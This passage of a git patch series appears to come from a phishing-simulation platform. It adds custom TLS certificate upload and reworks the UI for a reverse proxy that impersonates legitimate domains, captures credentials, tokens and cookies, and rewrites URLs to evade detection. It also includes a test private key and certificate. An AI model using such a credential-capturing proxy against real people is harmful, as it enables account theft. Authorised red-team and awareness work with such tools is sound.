+QLSw2ZldAgMBAAECggEABk9rSNAS3gPCrVVMmIOy0z0BjeeKeDef5TKb9mer1qQL +/JKwPkV+5OuYiHvSyZIIPZwFA5ZRkAXEH7H2J8tVlVPUyMWBuVUw4rPpHd4pkzq/ +kUISpZ9CpiiUGCb8ayGFzkRWBkf7EW2jPmCqqcZj5+s1sIiqL2brNccHPOGYnRxr +eN5P+JGNN3Gn+LRy26xGgdaRdGDuWHQJOStQUFQvmLswjPui5hhNtJVvUmvQ/XlP +peWSL3mV/07fhBv7PcBxyeUJx+zk8NHSSNDXKT5fkGKAS4FAqtQziXKqqn3G8nKk +8jaBPaJli6Ezw6NLlUrUax0DbmQYopHLQgMm6vJ2zQKBgQDpHgKKNxlqha3xf8Y0 +NCD4T3Ju3cF2T/U/lDqRwZo97wZVnwHIfiG19pfhHbEshYvolUb3Frnro1ba60ed +9ePGGATxi7zPETkh15fZF2TJcW1GMBYeD5vTBkkyhdTnPFOBEcArVBQgTUm/XRaR +AZRefXM73siXIwdYiKHtIIdPHwKBgQDGSf5bzjfQoaEudrW8K8ZNiDEMZ6hR96so +iSMh7q73AwhiEnMacVezAN4WDLqHH8knCd0WC/b7R6ocRDuG8sFOzS9peIiklnn3 +A768LzFex+6AantOE2LEE5Cx1kjQ2aj2KdGkrXtBZpXMOVDpRSdNZIYPCj8pNgFn +rE9abILUAwKBgQCyV60lxIWDQwYSDei6o27dyRoIy0pokz9TBrnQLMctvqGf+2fH +1QdBSIhlRuv23axtoVaLTi2qommeTgWaSTWapWGS0Y7+83Q7+c5H3WfT3Rz2Z29k +TBiwVszFBDIfPb28rrHP9CD5nWdgKX1MLmMt7ter5AKd7cR+7PjEivA5jQKBgQCC +PXuqhUq36FHcGPDJhd8cccX1pegy3oA3gcvnr8SQThelgwTDa4r08i7tQLMLqd8P +mzTyFC3HYozjQBXxT2WVAsSPfDIUGRpHGtie9khxPtTy1/3hjG4k58z0YhE1zKFj +/pfKmIAKtvzRRRxV+6wS82HyYwKVaPmHRPBiLj/ITQKBgAOG6wa2ZMClX9MtNqMD +w0voX4xo+x+4l4v8GgtLQns1wyhW8BG8CYEzogI/Dx5jT9Q787F+gRctjzQPHvm1 +a4E7MwKDgklAJFaOwNmX7DEqkAmfszLjRZFTleOK594/FEjbWTi5CWqW55pZ/C3S +61VYVaqIn84aGCbIaLI5vULr +-----END PRIVATE KEY----- diff --git a/backend/testfiles/certs/wildcard/cert.pem b/backend/testfiles/certs/wildcard/cert.pem new file mode 100644 index 0000000..58e9acc --- /dev/null +++ b/backend/testfiles/certs/wildcard/cert.pem @@ -0,0 +1,20 @@ +-----BEGIN CERTIFICATE----- +MIIDQDCCAiigAwIBAgIUAp5wJoElDOa8IzoIcfUj917Y0MMwDQYJKoZIhvcNAQEL +BQAwGjEYMBYGA1UEAwwPKi53aWxkY2FyZC50ZXN0MB4XDTI2MDQxOTEzMTAwNloX +DTM2MDQxNjEzMTAwNlowGjEYMBYGA1UEAwwPKi53aWxkY2FyZC50ZXN0MIIBIjAN +BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtJCXJQAAYejnH0HAo/fg4en1Esnn +536nFRtwmGtBf0xDSGSwHUFxkl36a5EJ4VED3z30jhoidu1ZnrEIlE3y4nakYBVx +BeCUIEeqDuWrupZQQSlO/X5MPVCeDkdgLRNd+oBsfWlBeIi801FNNfSjTJ2OyApw +J3fHS+vYWOqYPawhomZoolgGeF5MTZDdy+RjBzAzW3BFjAmpaeqz++awL5V5YTlC +qJhGTdcyzLtxUlrjDAiG3NgJ2quWdjWJn+tWD2+PP5ZJaOSpc7NHTdZLQb+0DMmz +iD9GGZzzWu+kg2eW4tWGGgkMm7OpfOOb38xLHgHsPtt0V15GpkC0sNmZXQIDAQAB +o34wfDAdBgNVHQ4EFgQU62UOXUjmffiNy6BJm8Qv+3qKJq0wHwYDVR0jBBgwFoAU +62UOXUjmffiNy6BJm8Qv+3qKJq0wDwYDVR0TAQH/BAUwAwEB/zApBgNVHREEIjAg +gg8qLndpbGRjYXJkLnRlc3SCDXdpbGRjYXJkLnRlc3QwDQYJKoZIhvcNAQELBQAD +ggEBAFu8H73GimARkhT9kW/lgVxs8/cvBOjskdUOtmndhLi7p1ile1Md+E59tcm0 +lp7zMlCsOZGhU0eS70Y/rTL02sSS4pWPARxQr8KqjtqS2+3PBnBuyb8lwh00h1yA +G+YnF4fNom7XhBjXhxtKvajrrywyuxOTga4LQ9aqs4qc+ZCH30LYl0ev93bEEMf/ +MKjEenlfw4KDrxDmBJzMPG8T4npeoigz9olOQFWW1nd+4GfLIpENCzkIhiuvq2JA +KVGB3kj7OyECkNk9WA6eeUUu8QMFxv/G9j3BW8Uh6ENLHnEBd1CthSUXv0kTSwQ0 +ZLygXMZfBxrhaBO/TgUDOZmyYW8= +-----END CERTIFICATE----- diff --git a/frontend/src/lib/api/api.js b/frontend/src/lib/api/api.js index 6493f49..a6cc8e4 100644 --- a/frontend/src/lib/api/api.js +++ b/frontend/src/lib/api/api.js @@ -3226,15 +3226,27 @@ export class API { * @param {string} proxy.startURL * @param {string} proxy.proxyConfig * @param {string} proxy.companyID + * @param {string} [proxy.globalTLSKey] + * @param {string} [proxy.globalTLSPem] * @returns {Promise} */ - create: async ({ name, description, startURL, proxyConfig, companyID }) => { + create: async ({ + name, + description, + startURL, + proxyConfig, + companyID, + globalTLSKey, + globalTLSPem + }) => { return await postJSON(this.getPath('/proxy'), { name: name, description: description, startURL: startURL, proxyConfig: proxyConfig, - companyID: companyID + companyID: companyID, + ...(globalTLSKey ? { globalTLSKey } : {}), + ...(globalTLSPem ? { globalTLSPem } : {}) }); }, @@ -3247,6 +3259,8 @@ export class API { * @param {string} proxy.description * @param {string} proxy.startURL * @param {string} proxy.proxyConfig + * @param {string} [proxy.globalTLSKey] + * @param {string} [proxy.globalTLSPem] * @returns {Promise} */ update: async (id, proxy) => { diff --git a/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte b/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte index beaca17..9aedaa1 100644 --- a/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte +++ b/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte @@ -4,6 +4,7 @@ import TextFieldSelect from '$lib/components/TextFieldSelect.svelte'; import TextareaField from '$lib/components/TextareaField.svelte'; import Search from '$lib/components/Search.svelte'; + import FileField from '$lib/components/FileField.svelte'; import jsyaml, { dumpWithLiteralStrings } from '$lib/components/yaml/index.js'; export let config = null; @@ -302,6 +303,8 @@ hosts: [] }; expandedHostIndex = -1; + globalTLSKey = ''; + globalTLSPem = ''; } // helper to remove internal _id fields before serialization @@ -697,7 +700,8 @@ // options const tlsModes = [ { value: 'managed', label: 'Managed' }, - { value: 'self-signed', label: 'Self-signed' } + { value: 'self-signed', label: 'Self-signed' }, + { value: 'custom', label: 'Custom' } ]; const tlsModesWithEmpty = [ { value: '', label: '(Use global default)' }, @@ -1022,6 +1026,36 @@ // file input reference for import let fileInput = null; + // global cert for custom TLS mode (not part of yaml config, sent separately to parent) + let globalTLSKey = ''; + let globalTLSPem = ''; + + /** + * @param {Event} event + * @param {'globalTLSKey'|'globalTLSPem'} target + */ + function onGlobalCertFile(event, target) { + const file = /** @type {HTMLInputElement} */ (event.target).files[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = (e) => { + if (target === 'globalTLSKey') { + globalTLSKey = e.target.result.toString(); + } else { + globalTLSPem = e.target.result.toString(); + } + dispatchCertChange(); + }; + reader.readAsText(file); + } + + function dispatchCertChange() { + dispatch('certChange', { + globalTLSKey, + globalTLSPem + }); + } + // export configuration to YAML file with metadata function exportConfig() { // build the config with _meta section @@ -1380,1416 +1414,402 @@
- {#if activeTab === 'basic'} - -
- - - -
-
-

General

-
-
-
- -
-
- -
-
- - Domain must match a phishing domain in the Hosts tab -
-
+ +
+ + + +
+
+

General

- -
-

Proxy Settings

-
-
- - Forward Proxy - - Route all traffic through this proxy -
+
+
+ +
+
+ +
+
+ + Domain must match a phishing domain in the Hosts tab
- {:else if activeTab === 'hosts'} -
- -
- - {#if configData.hosts.length > 3} -
- -
- {/if} -
- {#if configData.hosts.length > 0} -
- {#each filteredHosts as { host, index: i }} - - {/each} -
- {:else} -
-

No hosts configured

- -
- {/if} + +
+

Proxy Settings

+
+
+ + Forward Proxy + + Route all traffic through this proxy
- - -
- {#if expandedHostIndex >= 0 && configData.hosts[expandedHostIndex]} -
-
- {configData.hosts[expandedHostIndex].to || 'New Host'} - - {configData.hosts[expandedHostIndex].domain || 'target'} -
-
+
+
+
+ +
+ + {#if configData.hosts.length > 3} +
+ +
+ {/if} +
+ {#if configData.hosts.length > 0} +
+ {#each filteredHosts as { host, index: i }} - -
-
- - -
- - - - - -
- -
- {#if currentHostTab === 'settings'} -
-
- + From - Phishing Domain - - {#if hasError(`hosts.${expandedHostIndex}.to`)} - {getError(`hosts.${expandedHostIndex}.to`)} - {:else} - Your phishing domain that will serve the content - {/if} -
-
- {host.to || 'New Host'} - Target Domain - - {#if hasError(`hosts.${expandedHostIndex}.domain`)} - {getError(`hosts.${expandedHostIndex}.domain`)} - {:else} - The legitimate domain being impersonated - {/if}
-
- + To + {host.domain || '...'} - Scheme -
- {#if configData.hosts[expandedHostIndex].tls} -
- - TLS Mode - + {#if host.capture?.length || host.rewrite?.length || host.response?.length} +
+ {#if host.capture?.length} + + + {host.capture.length} capture + + {/if} + {#if host.rewrite?.length} + + + {host.rewrite.length} rewrite + + {/if} + {#if host.response?.length} + + + {host.response.length} response + + {/if}
{/if} - {#if configData.hosts[expandedHostIndex].access} -
- - Access Mode - - Private requires visiting a lure URL first (recommended) -
- {#if configData.hosts[expandedHostIndex].access?.mode === 'private'} -
- - On Deny - - Status code (e.g. 404, 503) or redirect URL (e.g. https://example.com) -
- {/if} - {/if} -
- {:else if currentHostTab === 'capture'} -
-

Extract credentials, tokens, and other data from requests and responses.

-
-
- {#each configData.hosts[expandedHostIndex].capture || [] as rule, ruleIndex (rule._id)} -
-
- {rule.name || `Rule ${ruleIndex + 1}`} - -
-
-
- - Name - - {#if hasError(`hosts.${expandedHostIndex}.capture.${ruleIndex}.name`)} - {getError( - `hosts.${expandedHostIndex}.capture.${ruleIndex}.name` - )} - {/if} -
-
- - Method - -
-
- - Path (regex) - - {#if hasError(`hosts.${expandedHostIndex}.capture.${ruleIndex}.path`)} - {getError( - `hosts.${expandedHostIndex}.capture.${ruleIndex}.path` - )} - {/if} -
-
- handleCaptureEngineChange(rule, val)} - > - Engine - -
- {#if rule.engine !== 'cookie'} -
- - From - -
- {/if} -
- - {#if rule.engine === 'regex'} - Regex Pattern - {:else if rule.engine === 'header'} - Header Name - {:else if rule.engine === 'cookie'} - Cookie Name - {:else if rule.engine === 'json'} - JSON Path - {:else} - Field Name - {/if} - - {#if hasError(`hosts.${expandedHostIndex}.capture.${ruleIndex}.find`)} - {getError( - `hosts.${expandedHostIndex}.capture.${ruleIndex}.find` - )} - {/if} -
-
- - Must be captured before session completes and campaign flow - progresses -
-
- - Event Type - -
-
-
- {/each} - -
- {:else if currentHostTab === 'rewrite'} -
-

- Rewrite rules modify content passing through the proxy. Use Regex - for text replacement or DOM for HTML element manipulation. -

-
-
- {#each configData.hosts[expandedHostIndex].rewrite || [] as rule, ruleIndex (rule._id)} -
-
- {rule.name || `Rule ${ruleIndex + 1}`} - -
-
-
- - Name - -
-
- handleRewriteEngineChange(rule, rule.engine)} - > - Engine - -
-
- - Path (regex, optional) - - Only apply this rule when the request path matches -
-
- ({ value: m, label: m })) - ]} - size="normal" - > - Method (optional) - -
- {#if rule.engine === 'dom'} -
- - Action - - {#if hasError(`hosts.${expandedHostIndex}.rewrite.${ruleIndex}.action`)} - {getError( - `hosts.${expandedHostIndex}.rewrite.${ruleIndex}.action` - )} - {/if} -
-
- - Target - - Also supports numeric list (1,3,5) or range (2-4) -
- {:else if rule.engine === 'header'} -
- - Action - -
- {/if} -
- - From - -
-
- - {#if rule.engine === 'dom'} - Selector (CSS) - {:else if rule.engine === 'header'} - Header Name - {:else} - Find (regex) - {/if} - - {#if hasError(`hosts.${expandedHostIndex}.rewrite.${ruleIndex}.find`)} - {getError( - `hosts.${expandedHostIndex}.rewrite.${ruleIndex}.find` - )} - {:else} - - {#if rule.engine === 'dom'} - CSS selector to find HTML elements - {:else if rule.engine === 'header'} - Exact header name (e.g. Server, X-Powered-By) - {:else} - Regex pattern to search for in content - {/if} - - {/if} -
- {#if rule.engine !== 'header' || rule.action !== 'remove'} -
- - {#if rule.engine === 'dom' && rule.action === 'setAttr'} - Value (attr:value) - {:else if rule.engine === 'dom' && rule.action === 'remove'} - Value (not required) - {:else if rule.engine === 'header'} - New Value - {:else} - Replace - {/if} - - {#if hasError(`hosts.${expandedHostIndex}.rewrite.${ruleIndex}.replace`)} - {getError( - `hosts.${expandedHostIndex}.rewrite.${ruleIndex}.replace` - )} - {:else} - - {#if rule.engine === 'dom'} - {#if rule.action === 'setAttr'} - Format: attribute:value (e.g. href:https://example.com) - {:else if rule.action === 'remove'} - Not required for remove action - {:else if rule.action === 'removeAttr'} - Attribute name to remove - {:else if rule.action === 'addClass' || rule.action === 'removeClass'} - CSS class name - {:else} - New content for matched elements - {/if} - {:else if rule.engine === 'header'} - New value for the header - {:else} - Replacement text (use $1, $2 for capture groups) - {/if} - - {/if} -
- {/if} -
-
- {/each} - -
- {:else if currentHostTab === 'response'} -
-

- Return custom responses for specific paths instead of proxying to the target. -

-
-
- {#each configData.hosts[expandedHostIndex].response || [] as rule, ruleIndex (rule._id)} -
-
- {rule.path || `Rule ${ruleIndex + 1}`} - -
-
-
- - Path - - {#if hasError(`hosts.${expandedHostIndex}.response.${ruleIndex}.path`)} - {getError( - `hosts.${expandedHostIndex}.response.${ruleIndex}.path` - )} - {/if} -
-
- - Status - -
-
- - Body - -
-
-
-
- Headers - -
- {#if rule.headers && Object.keys(rule.headers).length > 0} -
- {#each Object.entries(rule.headers) as [key, value]} -
- - updateResponseHeaderKey(rule, key, e.currentTarget.value)} - placeholder="Header-Name" - class="header-key-input" - /> - - -
- {/each} -
- {/if} - Use {'{{.Origin}}'} to echo the request's Origin header -
-
-
- -
-
-
- {/each} - -
- {:else if currentHostTab === 'urlrewrite'} -
-

Transform URL paths to evade detection by masking original target URLs.

-
-
- {#each configData.hosts[expandedHostIndex].rewrite_urls || [] as rule, ruleIndex (rule._id)} -
-
- {rule.find || `Rule ${ruleIndex + 1}`} - -
-
-
- - Find - -
-
- - Replace - -
-
-
-
- Query Parameter Renames - -
- {#if rule.query && rule.query.length > 0} -
- {#each rule.query as qParam, qIndex} -
- - - -
- {/each} -
- {/if} - rename query parameters when rewriting the URL (original → new - name) -
-
-
-
-
- Query Parameter Filter - -
- {#if rule.filter && rule.filter.length > 0} -
- {#each rule.filter as filterParam, fIndex} -
- - -
- {/each} -
- {/if} - allowlist of query parameters to keep — if empty, all parameters - are forwarded -
-
-
-
- {/each} - -
- {/if} + + {/each}
{:else} -
- - - -

Select a host or add a new one

+
+

No hosts configured

{/if}
- {:else if activeTab === 'global'} -
-
- -
-

- - - - Security -

-
-
- - TLS Mode - - Controls certificate verification for upstream connections -
-
- - Access Mode - - Private requires visiting a lure URL first (recommended) -
- {#if configData.global.access?.mode === 'private'} -
- - On Deny - - Status code (e.g. 404, 503) or redirect URL (e.g. https://example.com) -
- {/if} -
-
- -
-

- +
+ {#if expandedHostIndex >= 0 && configData.hosts[expandedHostIndex]} +
+
+ {configData.hosts[expandedHostIndex].to || 'New Host'} - - - Client Browser Impersonation -

-
- - Detects client browser and uses a matching fingerprint profile (Chrome or Firefox - only, others default to Chrome)→ + {configData.hosts[expandedHostIndex].domain || 'target'} - {#if configData.global.impersonate.enabled} -
+
+ + +
+
+ + +
+ +
+ + + +
- -
-

- - - - Template Variables -

-
- - Allow template variables like {'{{.Email}}'} in rewrite rules to be replaced - with recipient data - {#if configData.global.variables.enabled} -
- - Leave empty to allow all variables, or select specific ones to restrict which - can be used +
+
+ + Phishing Domain + + {#if hasError(`hosts.${expandedHostIndex}.to`)} + {getError(`hosts.${expandedHostIndex}.to`)} + {:else} + Your phishing domain that will serve the content + {/if} +
+
+ + Target Domain + + {#if hasError(`hosts.${expandedHostIndex}.domain`)} + {getError(`hosts.${expandedHostIndex}.domain`)} + {:else} + The legitimate domain being impersonated + {/if} +
+
+ + Scheme + +
+ {#if configData.hosts[expandedHostIndex].tls} +
+ + TLS Mode +
{/if} + {#if configData.hosts[expandedHostIndex].access} +
+ + Access Mode + + Private requires visiting a lure URL first (recommended) +
+ {#if configData.hosts[expandedHostIndex].access?.mode === 'private'} +
+ + On Deny + + Status code (e.g. 404, 503) or redirect URL (e.g. https://example.com) +
+ {/if} + {/if}
-
-
- - -
-
- - - - -
- -
- {#if !globalRulesTab || globalRulesTab === 'capture'} + {#if currentHostTab === 'capture'}

Extract credentials, tokens, and other data from requests and responses.

- {#each configData.global.capture || [] as rule, i (rule._id)} + {#each configData.hosts[expandedHostIndex].capture || [] as rule, ruleIndex (rule._id)}
- {rule.name || `Rule ${i + 1}`} + {rule.name || `Rule ${ruleIndex + 1}`}
Path (regex) - {#if hasError(`global.capture.${i}.path`)} - {getError(`global.capture.${i}.path`)} + {#if hasError(`hosts.${expandedHostIndex}.capture.${ruleIndex}.path`)} + {getError( + `hosts.${expandedHostIndex}.capture.${ruleIndex}.path` + )} {/if}
{#if rule.engine === 'regex'} Regex Pattern @@ -2888,8 +1916,12 @@ Field Name {/if} - {#if hasError(`global.capture.${i}.find`)} - {getError(`global.capture.${i}.find`)} + {#if hasError(`hosts.${expandedHostIndex}.capture.${ruleIndex}.find`)} + {getError( + `hosts.${expandedHostIndex}.capture.${ruleIndex}.find` + )} {/if}
@@ -2911,7 +1943,7 @@
{/each} -
- {:else if globalRulesTab === 'rewrite'} + {:else if currentHostTab === 'rewrite'}

Rewrite rules modify content passing through the proxy. Use

- {#each configData.global.rewrite || [] as rule, i (rule._id)} + {#each configData.hosts[expandedHostIndex].rewrite || [] as rule, ruleIndex (rule._id)}
- {rule.name || `Rule ${i + 1}`} + {rule.name || `Rule ${ruleIndex + 1}`}
- {:else if globalRulesTab === 'response'} + {:else if currentHostTab === 'response'}

Return custom responses for specific paths instead of proxying to the target.

- {#each configData.global.response || [] as rule, i (rule._id)} + {#each configData.hosts[expandedHostIndex].response || [] as rule, ruleIndex (rule._id)}
- {rule.path || `Rule ${i + 1}`} + {rule.path || `Rule ${ruleIndex + 1}`}
@@ -3265,11 +2319,11 @@ { rule.forward = e.currentTarget.checked; configData = configData; }} - class="checkbox-input" /> Forward to target @@ -3277,26 +2331,30 @@
{/each} -
- {:else if globalRulesTab === 'urlrewrite'} + {:else if currentHostTab === 'urlrewrite'}

Transform URL paths to evade detection by masking original target URLs.

- {#each configData.global.rewrite_urls || [] as rule, i (rule._id)} + {#each configData.hosts[expandedHostIndex].rewrite_urls || [] as rule, ruleIndex (rule._id)}
- {rule.find || `Rule ${i + 1}`} + {rule.find || `Rule ${ruleIndex + 1}`}
{/each} -
{/if}
+ {:else} +
+ + + +

Select a host or add a new one

+ +
+ {/if} +
+
+
+
+ +
+

+ + + + Security +

+
+
+ + TLS Mode + + Controls certificate verification for upstream connections +
+ {#if configData.global.tls.mode === 'custom'} +
+ onGlobalCertFile(e, 'globalTLSKey')} + >Private Key (.key) + leave empty to keep existing certificate +
+
+ onGlobalCertFile(e, 'globalTLSPem')} + >Certificate (.pem, .crt) + leave empty to keep existing certificate +
+ {/if} +
+ + Access Mode + + Private requires visiting a lure URL first (recommended) +
+ {#if configData.global.access?.mode === 'private'} +
+ + On Deny + + Status code (e.g. 404, 503) or redirect URL (e.g. https://example.com) +
+ {/if} +
+
+ + +
+

+ + + + Client Browser Impersonation +

+
+ + Detects client browser and uses a matching fingerprint profile (Chrome or Firefox + only, others default to Chrome) + {#if configData.global.impersonate.enabled} + + Use the client's User-Agent header instead of the impersonated browser's default + {/if} +
+
+ + +
+

+ + + + Template Variables +

+
+ + Allow template variables like {'{{.Email}}'} in rewrite rules to be replaced + with recipient data + {#if configData.global.variables.enabled} +
+ + Leave empty to allow all variables, or select specific ones to restrict which + can be used +
+ {/if} +
- {/if} + + +
+
+ + + + +
+ +
+ {#if !globalRulesTab || globalRulesTab === 'capture'} +
+

Extract credentials, tokens, and other data from requests and responses.

+
+
+ {#each configData.global.capture || [] as rule, i (rule._id)} +
+
+ {rule.name || `Rule ${i + 1}`} + +
+
+
+ + Name + + {#if hasError(`global.capture.${i}.name`)} + {getError(`global.capture.${i}.name`)} + {/if} +
+
+ + Method + +
+
+ + Path (regex) + + {#if hasError(`global.capture.${i}.path`)} + {getError(`global.capture.${i}.path`)} + {/if} +
+
+ handleCaptureEngineChange(rule, val)} + > + Engine + +
+ {#if rule.engine !== 'cookie'} +
+ + From + +
+ {/if} +
+ + {#if rule.engine === 'regex'} + Regex Pattern + {:else if rule.engine === 'header'} + Header Name + {:else if rule.engine === 'cookie'} + Cookie Name + {:else if rule.engine === 'json'} + JSON Path + {:else} + Field Name + {/if} + + {#if hasError(`global.capture.${i}.find`)} + {getError(`global.capture.${i}.find`)} + {/if} +
+
+ + Must be captured before session completes and campaign flow progresses +
+
+ + Event Type + +
+
+
+ {/each} + +
+ {:else if globalRulesTab === 'rewrite'} +
+

+ Rewrite rules modify content passing through the proxy. Use Regex + for text replacement or DOM for HTML element manipulation. +

+
+
+ {#each configData.global.rewrite || [] as rule, i (rule._id)} +
+
+ {rule.name || `Rule ${i + 1}`} + +
+
+
+ + Name + +
+
+ handleRewriteEngineChange(rule, rule.engine)} + > + Engine + +
+
+ + Path (regex, optional) + + Only apply this rule when the request path matches +
+
+ ({ value: m, label: m })) + ]} + size="normal" + > + Method (optional) + +
+ {#if rule.engine === 'dom'} +
+ + Action + + {#if hasError(`global.rewrite.${i}.action`)} + {getError(`global.rewrite.${i}.action`)} + {/if} +
+
+ + Target + + Also supports numeric list (1,3,5) or range (2-4) +
+ {:else if rule.engine === 'header'} +
+ + Action + +
+ {/if} +
+ + From + +
+
+ + {#if rule.engine === 'dom'} + Selector (CSS) + {:else if rule.engine === 'header'} + Header Name + {:else} + Find (regex) + {/if} + + {#if hasError(`global.rewrite.${i}.find`)} + {getError(`global.rewrite.${i}.find`)} + {:else} + + {#if rule.engine === 'dom'} + CSS selector to find HTML elements + {:else if rule.engine === 'header'} + Exact header name (e.g. Server, X-Powered-By) + {:else} + Regex pattern to search for in content + {/if} + + {/if} +
+ {#if rule.engine !== 'header' || rule.action !== 'remove'} +
+ + {#if rule.engine === 'dom' && rule.action === 'setAttr'} + Value (attr:value) + {:else if rule.engine === 'dom' && rule.action === 'remove'} + Value (not required) + {:else if rule.engine === 'header'} + New Value + {:else} + Replace + {/if} + + {#if hasError(`global.rewrite.${i}.replace`)} + {getError(`global.rewrite.${i}.replace`)} + {:else} + + {#if rule.engine === 'dom'} + {#if rule.action === 'setAttr'} + Format: attribute:value (e.g. href:https://example.com) + {:else if rule.action === 'remove'} + Not required for remove action + {:else if rule.action === 'removeAttr'} + Attribute name to remove + {:else if rule.action === 'addClass' || rule.action === 'removeClass'} + CSS class name + {:else} + New content for matched elements + {/if} + {:else if rule.engine === 'header'} + New value for the header + {:else} + Replacement text (use $1, $2 for capture groups) + {/if} + + {/if} +
+ {/if} +
+
+ {/each} + +
+ {:else if globalRulesTab === 'response'} +
+

Return custom responses for specific paths instead of proxying to the target.

+
+
+ {#each configData.global.response || [] as rule, i (rule._id)} +
+
+ {rule.path || `Rule ${i + 1}`} + +
+
+
+ + Path + + {#if hasError(`global.response.${i}.path`)} + {getError(`global.response.${i}.path`)} + {/if} +
+
+ + Status + +
+
+ + Body + +
+
+
+
+ Headers + +
+ {#if rule.headers && Object.keys(rule.headers).length > 0} +
+ {#each Object.entries(rule.headers) as [key, value]} +
+ + updateResponseHeaderKey(rule, key, e.currentTarget.value)} + placeholder="Header-Name" + class="header-key-input" + /> + + +
+ {/each} +
+ {/if} + Use {'{{.Origin}}'} to echo the request's Origin header +
+
+
+ +
+
+
+ {/each} + +
+ {:else if globalRulesTab === 'urlrewrite'} +
+

Transform URL paths to evade detection by masking original target URLs.

+
+
+ {#each configData.global.rewrite_urls || [] as rule, i (rule._id)} +
+
+ {rule.find || `Rule ${i + 1}`} + +
+
+
+ + Find + +
+
+ + Replace + +
+
+
+
+ Query Parameter Renames + +
+ {#if rule.query && rule.query.length > 0} +
+ {#each rule.query as qParam, qIndex} +
+ + + +
+ {/each} +
+ {/if} + rename query parameters when rewriting the URL (original → new name) +
+
+
+
+
+ Query Parameter Filter + +
+ {#if rule.filter && rule.filter.length > 0} +
+ {#each rule.filter as filterParam, fIndex} +
+ + +
+ {/each} +
+ {/if} + allowlist of query parameters to keep — if empty, all parameters are + forwarded +
+
+
+
+ {/each} + +
+ {/if} +
+
+
diff --git a/frontend/src/routes/domain/+page.svelte b/frontend/src/routes/domain/+page.svelte index 916b9ff..16cdab6 100644 --- a/frontend/src/routes/domain/+page.svelte +++ b/frontend/src/routes/domain/+page.svelte @@ -853,9 +853,9 @@ onSetFile(e, 'ownManagedTLSPem')} - >Certificate (.pem)Certificate (.pem, .crt)
{/if} diff --git a/frontend/src/routes/proxy/+page.svelte b/frontend/src/routes/proxy/+page.svelte index 697d9b8..0107bb2 100644 --- a/frontend/src/routes/proxy/+page.svelte +++ b/frontend/src/routes/proxy/+page.svelte @@ -30,6 +30,7 @@ import AutoRefresh from '$lib/components/AutoRefresh.svelte'; import TableCellScope from '$lib/components/table/TableCellScope.svelte'; import ProxyConfigBuilder from '$lib/components/proxy/ProxyConfigBuilder.svelte'; + import FileField from '$lib/components/FileField.svelte'; // services const appStateService = AppStateService.instance; @@ -46,6 +47,24 @@ }; let isSubmitting = false; + // cert state for custom TLS mode — populated by certChange event (visual mode) or yaml cert upload fields + let globalTLSKey = ''; + let globalTLSPem = ''; + + // detect if the current yaml config uses tls.mode: "custom" anywhere so we can show upload fields in yaml mode + $: yamlHasCustomTLS = (() => { + if (!formValues.proxyConfig || editorMode !== 'yaml') return false; + try { + // simple string check first to avoid parsing on every keystroke + if (!formValues.proxyConfig.includes('custom')) return false; + // dynamic import not available in reactive block — use a regex check on the yaml string + // matches: mode: "custom" or mode: 'custom' or mode: custom + return /mode\s*:\s*['"]?custom['"]?/.test(formValues.proxyConfig); + } catch { + return false; + } + })(); + // data const tableURLParams = newTableURLParams(); let contextCompanyID = null; @@ -212,7 +231,7 @@ # global configuration (applies to all hosts unless overridden) global: tls: - mode: "managed" # "managed" (Let's Encrypt) or "self-signed" + mode: "managed" # "managed" (Let's Encrypt), "self-signed", or "custom" (upload cert below) # template variables allow recipient data in rewrite rules # variables: # enabled: true @@ -225,7 +244,7 @@ portal.example.com: # scheme: "https" # use https:// when connecting to target # optional: override global TLS config for this specific host # tls: - # mode: "self-signed" + # mode: "self-signed" # or "custom" for a manually supplied certificate response: - path: "^/api/health$" headers: @@ -393,8 +412,13 @@ portal.example.com: }; const res = await api.proxy.create({ - ...proxyData, - companyID: contextCompanyID + name: proxyData.name, + description: proxyData.description, + startURL: proxyData.startURL, + proxyConfig: proxyData.proxyConfig, + companyID: contextCompanyID, + globalTLSKey: globalTLSKey || undefined, + globalTLSPem: globalTLSPem || undefined }); if (!res.success) { formError = res.error; @@ -416,7 +440,9 @@ portal.example.com: name: formValues.name, description: formValues.description, startURL: formValues.startURL, - proxyConfig: formValues.proxyConfig + proxyConfig: formValues.proxyConfig, + globalTLSKey: globalTLSKey || undefined, + globalTLSPem: globalTLSPem || undefined }; const res = await api.proxy.update(formValues.id, updateData); @@ -469,6 +495,26 @@ portal.example.com: formValues.id = ''; form.reset(); formError = ''; + globalTLSKey = ''; + globalTLSPem = ''; + }; + + /** + * @param {Event} event + * @param {'key'|'pem'} target + */ + const onYamlCertFile = (event, target) => { + const file = /** @type {HTMLInputElement} */ (event.target).files?.[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = (e) => { + if (target === 'key') { + globalTLSKey = e.target?.result?.toString() ?? ''; + } else { + globalTLSPem = e.target?.result?.toString() ?? ''; + } + }; + reader.readAsText(file); }; /** @param {string} id */ @@ -719,6 +765,22 @@ portal.example.com: >
+ {#if yamlHasCustomTLS} +
+ onYamlCertFile(e, 'key')}>Private Key (.key) + onYamlCertFile(e, 'pem')}>Certificate (.pem, .crt) +
+ {/if}
{/if} @@ -830,6 +892,10 @@ portal.example.com: on:nameChange={(e) => (formValues.name = e.detail)} on:descriptionChange={(e) => (formValues.description = e.detail)} on:startURLChange={(e) => (formValues.startURL = e.detail)} + on:certChange={(e) => { + globalTLSKey = e.detail.globalTLSKey || ''; + globalTLSPem = e.detail.globalTLSPem || ''; + }} /> {/key}
From cf42d6aecbd324ac51463607c040cecabc034241 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 23 Apr 2026 20:27:30 +0200 Subject: [PATCH 11/78] fix company context not used in email attachments view Signed-off-by: Ronni Skansing --- frontend/src/lib/api/api.js | 6 ++++-- frontend/src/routes/email/+page.svelte | 2 +- frontend/src/routes/email/[id]/attachments/+page.svelte | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/frontend/src/lib/api/api.js b/frontend/src/lib/api/api.js index a6cc8e4..a7cba8f 100644 --- a/frontend/src/lib/api/api.js +++ b/frontend/src/lib/api/api.js @@ -1616,10 +1616,12 @@ export class API { * Get a email by ID. * * @param {string} id + * @param {string|null} [companyID] * @returns {Promise} */ - getByID: async (id) => { - return await getJSON(this.getPath(`/email/${id}`)); + getByID: async (id, companyID = null) => { + const companyQuery = companyID ? `?${this.companyQuery(companyID)}` : ''; + return await 